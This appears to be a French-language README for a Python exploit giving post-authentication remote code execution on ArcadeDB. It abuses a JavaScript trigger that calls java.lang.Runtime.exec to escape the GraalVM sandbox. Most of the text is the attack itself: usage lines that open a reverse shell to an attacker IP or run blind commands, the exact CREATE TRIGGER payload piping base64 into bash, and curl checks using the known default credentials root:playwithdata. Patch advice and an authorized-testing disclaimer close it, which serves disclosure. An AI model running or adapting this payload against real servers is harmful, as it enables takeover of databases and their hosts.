
Exploit RCE post-authentification pour ArcadeDB via un déclencheur JavaScript permettant l'évasion du bac à sable GraalVM, exécutant des commandes OS via l'API HTTP avec des modes shell inversé ou commande aveugle.
Exécution de code à distance après authentification dans ArcadeDB (une base de données multi-modèles en Java) via un déclencheur JAVASCRIPT qui atteint les classes hôtes.
Le moteur polyglotte GraalVM d'un déclencheur est construit avec une liste d'autorisation de classes hôtes qui inclut
java.lang.* (ScriptTriggerExecutor.setAllowedPackages), de sorte qu'un script de déclencheur peut appeler :
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) ne le bloque pas — Runtime.exec est un appel de méthode hôte
autorisé par HostAccess.ALL, et non l'API de processus invité de GraalVM. La création d'un déclencheur ne nécessite que la
permission (plus faible que qui régit l'exécution directe de scripts), de sorte que
peut le faire — une RCE via l'API HTTP.
UPDATE_SCHEMAUPDATE_SECURITYroot< 26.7.2 (0 – 26.7.1)26.7.2 (supprime java.lang.* de la liste d'autorisation du déclencheur + ajoute un HostClassLookupFilter littéral avec une liste de refus des processus/réflexion/chargeurs de classes)2480 (API HTTP + Studio ; authentification Basic)Le chemin de commande direct
language:jsn'est pas le vecteur — il n'a aucune liste d'autorisation de packages (Java.typebloqué) et est verrouillé derrièreUPDATE_SECURITY. Seul l'exécuteur de déclencheur code en durjava.lang.*.
Uniquement la bibliothèque standard Python 3 — aucune dépendance. Des identifiants ArcadeDB valides avec UPDATE_SCHEMA
(par ex. root). ArcadeDB n'a pas de mot de passe par défaut codé en dur, mais son propre docker-compose.yml fournit
l'exemple root:playwithdata, des identifiants fréquemment laissés en place.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Trois requêtes authentifiées POST /api/v1/command/<db> (language:sql) :
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — le déclencheur BEFORE CREATE se déclenche et le JavaScript s'exécute.La commande système est encapsulée en base64 afin que les couches JavaScript/SQL/JSON n'aient pas besoin d'échapper les guillemets imbriqués,
et le script omet waitFor() afin que exec retourne immédiatement (le processus fils continue de s'exécuter, la
requête ne bloque pas).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Mettez à niveau vers ArcadeDB ≥ 26.7.2, définissez un rootPassword fort (jamais playwithdata), n'exécutez pas
ArcadeDB en tant que root, restreignez UPDATE_SCHEMA et gardez l'API HTTP/Studio hors des réseaux non fiables.
Uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.